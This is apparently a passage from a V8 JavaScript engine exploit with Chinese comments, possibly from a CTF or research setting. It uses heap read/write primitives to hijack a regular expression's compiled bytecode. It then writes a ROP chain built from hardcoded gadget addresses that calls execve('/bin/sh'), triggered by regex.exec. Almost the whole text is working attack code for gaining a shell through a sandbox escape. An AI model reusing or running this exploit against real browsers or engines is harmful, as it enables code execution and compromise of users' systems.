let isolate_flt_arr_map = ftoi(flt_arr_map_full) & 0xffffffffn; // 提取Map地址的低32位(V8沙箱内地址)
let isolate_obj_arr_map = ftoi(obj_arr_map_full) & 0xffffffffn; // 提取Map地址的低32位




console.log(`[+] flt_arr_map: 0x${isolate_flt_arr_map.toString(16)}`); // 输出Map地址日志
console.log(`[+] obj_arr_map: 0x${isolate_obj_arr_map.toString(16)}`); // 输出Map地址日志




var readHeap4 = (offset) => caged_read(offset);
var writeHeap4 = (offset, value) => caged_write(offset, value);







// --- 正则表达式对象劫持 ---
var regex = /[a-zA-Z0-9]*[a-zA-Z0-9]*[a-zA-Z0-9]*[a-zA-Z0-9]*[a-zA-Z0-9]*[a-zA-Z0-9]*/g;
let addr_regex = addrOf(regex)

console.log(`[+] addr_regex: 0x${addr_regex.toString(16)}`);

%DebugPrint(regex);


let data_addr = readHeap4(addr_regex + 0xc);
console.log(`[+] data_addr = addr_regex + 0xc: 0x${data_addr.toString(16)}`);

regex.exec(s);


let bytecode = readHeap4(data_addr + 0x1b+1);

console.log(`[+] bytecode = data_addr + 0x1b: 0x${bytecode.toString(16)}`);

let data_addr_0x2f_1 = readHeap4(data_addr+ 0x2f);
console.log(`[+] data_addr + 0x2f: 0x${data_addr_0x2f_1.toString(16)}`);

writeHeap4(data_addr+ 0x2f, 2);

let data_addr_0x2f_2 = readHeap4(data_addr + 0x2f);
console.log(`[+] data_addr + 0x2f: 0x${data_addr_0x2f_2.toString(16)}`);



// --- 构造伪造指令数组 (ROP Chain Helper) ---
let arr = [];

function push_reg(idx) { arr.push((idx << 8) & 0xffffff00 | 0x03); }
function pop_reg(idx) { arr.push((idx << 8) & 0xffffff00 | 0x0c); }
function mov_reg1_to_reg2(idx1, idx2) { push_reg(idx1); pop_reg(idx2); }
function advance_reg(idx, value) {
arr.push((idx << 8) & 0xffffff00 | 0x09);
arr.push(value);
}
function set_reg(idx, value) {
arr.push((idx << 8) & 0xffffff00 | 0x08);
arr.push(value);
}
function success() { arr.push(0x0000000e); }

let idx = 0x52;
function add_gadget(addr) {
mov_reg1_to_reg2(3, 5);
advance_reg(5, addr);
mov_reg1_to_reg2(5, idx++);
mov_reg1_to_reg2(4, idx++);
}





// --- ROP 链构造:执行 execve("/bin/sh") ---
mov_reg1_to_reg2(0x53, 4); // 设置高位
mov_reg1_to_reg2(0x52, 3); // 设置低位
advance_reg(3, 0x1724F60-0x2E49EC0); // 修正地址基准
add_gadget(0x00000000011b08fe); // pop rsi
//0x00000000011b08fe : pop rsi ; ret
set_reg(idx++, 0x6e69622f); // /bin
set_reg(idx++, 0x0068732f); // /sh
add_gadget(0x00000000014c38f8); // pop r8
//0x00000000014c38f8 : pop r8 ; pop r9 ; pop rbp ; ret
add_gadget(0x277B000+0x10000); // 目标内存
add_gadget(0x277B000+0x10000); // 目标内存
add_gadget(0x277B000+0x10000); // 目标内存

add_gadget(0x0000000001ccffdd); // mov [r8], rsi

//0x000000000126db15 : mov dword ptr [rax], eax ; ret
//0x0000000001ae5e39 : mov dword ptr [rax], ecx ; ret
//0x00000000025f17d4 : mov dword ptr [rax], edx ; ret
//0x0000000001ccffde : mov dword ptr [rax], esi ; ret
//0x0000000001ccffdd : mov qword ptr [r8], rsi ; ret

//for(let i=0; i<6; i++) set_reg(idx++, 0xdeadbeef); // 填充
add_gadget(0x00000000011b08fe); // pop rsi
set_reg(idx++, 0); // 参数清零
set_reg(idx++, 0); // 参数清零
add_gadget(0x00000000014c38f8); // pop r8
add_gadget(0x277B000+0x10000+0x8); // 目标
add_gadget(0x277B000+0x10000+0x8); // 目标
add_gadget(0x277B000+0x10000+0x8); // 目标

add_gadget(0x0000000001ccffdd); // mov [r8], rsi
//for(let i=0; i<6; i++) set_reg(idx++, 0xdeadbeef); // 填充
add_gadget(0x000000000118ac9d); // pop rdi
//0x000000000118ac9d : pop rdi ; ret

add_gadget(0x277B000+0x10000); // /bin/sh 地址

add_gadget(0x00000000011b08fe); // pop rsi
//0x00000000011b08fe : pop rsi ; ret

add_gadget(0x277B000+0x10000+8); // argv
add_gadget(0x000000000125dd86); // pop rdx
//0x000000000125dd86 : pop rdx ; ret


add_gadget(0x277B000+0x10000+8); // envp
add_gadget(0x0000000001e46d40); // pop rax
//0x0000000001e46d40 : pop rax ; ret

set_reg(idx++, 0x0000003b); // execve
set_reg(idx++, 0); // 高位
add_gadget(0x00000000010f192d); // syscall
//0x00000000010f192d : syscall

success();


let buf1 = new ArrayBuffer(arr.length * 4); // 确保长度足够存放 32 位数据
let view = new DataView(buf1);
%DebugPrint(buf1);
writeHeap4(addrOf(buf1) + 0x24, 0x0);
writeHeap4(addrOf(buf1) + 0x22, bytecode+0x7);
%DebugPrint(buf1);
console.log(`[+] writeHeap4 buf1 + 0x23 : 0x${(bytecode+7).toString(16)}`);

for (let i = 0; i < arr.length; i++) {
// 使用 setUint32 写入,第三个参数 true 代表小端序 (Little-endian)
view.setUint32(i * 4, arr[i], true);
}


regex.exec(s); // 触发 ROP